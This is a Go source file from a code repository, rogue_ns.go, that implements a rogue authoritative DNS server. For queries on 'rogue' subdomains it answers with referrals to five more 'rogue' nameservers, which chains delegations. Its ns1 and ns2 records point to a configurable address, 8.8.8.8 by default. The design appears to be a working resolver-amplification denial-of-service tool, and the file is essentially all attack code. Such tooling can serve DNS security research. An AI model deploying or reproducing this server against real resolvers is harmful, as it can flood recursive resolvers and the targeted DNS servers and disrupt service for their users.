summaryrefslogtreecommitdiff
path: root/rogue_ns.go
blob: b33a701a4f2acab1438c7060b6e01e11197dc169 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main

import (
	"flag"
	"net"
	"strconv"
	"strings"

	"github.com/miekg/dns"
)

func rogue_delegation(w dns.ResponseWriter, r *dns.Msg) {
	m := new(dns.Msg)
	m.SetReply(r)
	m.Compress = true
	m.Authoritative = true

	qname := m.Question[0].Name
	qtype := m.Question[0].Qtype
	subdomain := strings.ToLower(strings.Split(qname, ".")[0])
	if qtype == dns.TypeA {
		if subdomain == "ns1" || subdomain == "ns2" {
			resp := &dns.A{
				Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 10},
				A:   net.ParseIP(CONFIG_NS),
			}
			m.Answer = append(m.Answer, resp)
		} else if strings.Contains(subdomain, "rogue") {
			var ns_target string
			var resp *dns.NS
			for i := 0; i < 5; i++ {
				ns_target = strings.Join([]string{subdomain + strconv.Itoa(i), CONFIG_SLD}, ".")
				resp = &dns.NS{
					Hdr: dns.RR_Header{Name: qname, Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 10},
					Ns:  dns.Fqdn(ns_target),
				}
				m.Ns = append(m.Ns, resp)
			}
		} else {
			m.MsgHdr.Rcode = dns.RcodeNameError
		}
	} else {
		m.MsgHdr.Rcode = dns.RcodeNameError
	}
	w.WriteMsg(m)
}

var CONFIG_SLD string
var CONFIG_NS string

func main() {
	flag.StringVar(&CONFIG_NS, "ns", "8.8.8.8", "nameserver ip address")
	flag.StringVar(&CONFIG_SLD, "sld", "", "configure sld for rogue server")
	flag.Parse()
	if CONFIG_SLD == "" {
		panic("Please configure the SLD for the echo dns server!\n")
	}
	dns.HandleFunc(dns.Fqdn(CONFIG_SLD), rogue_delegation)
	server := &dns.Server{Addr: ":53", Net: "udp"}
	if err := server.ListenAndServe(); err != nil {
		println("Failed to set up the rogue server")
		panic(err)
	}
}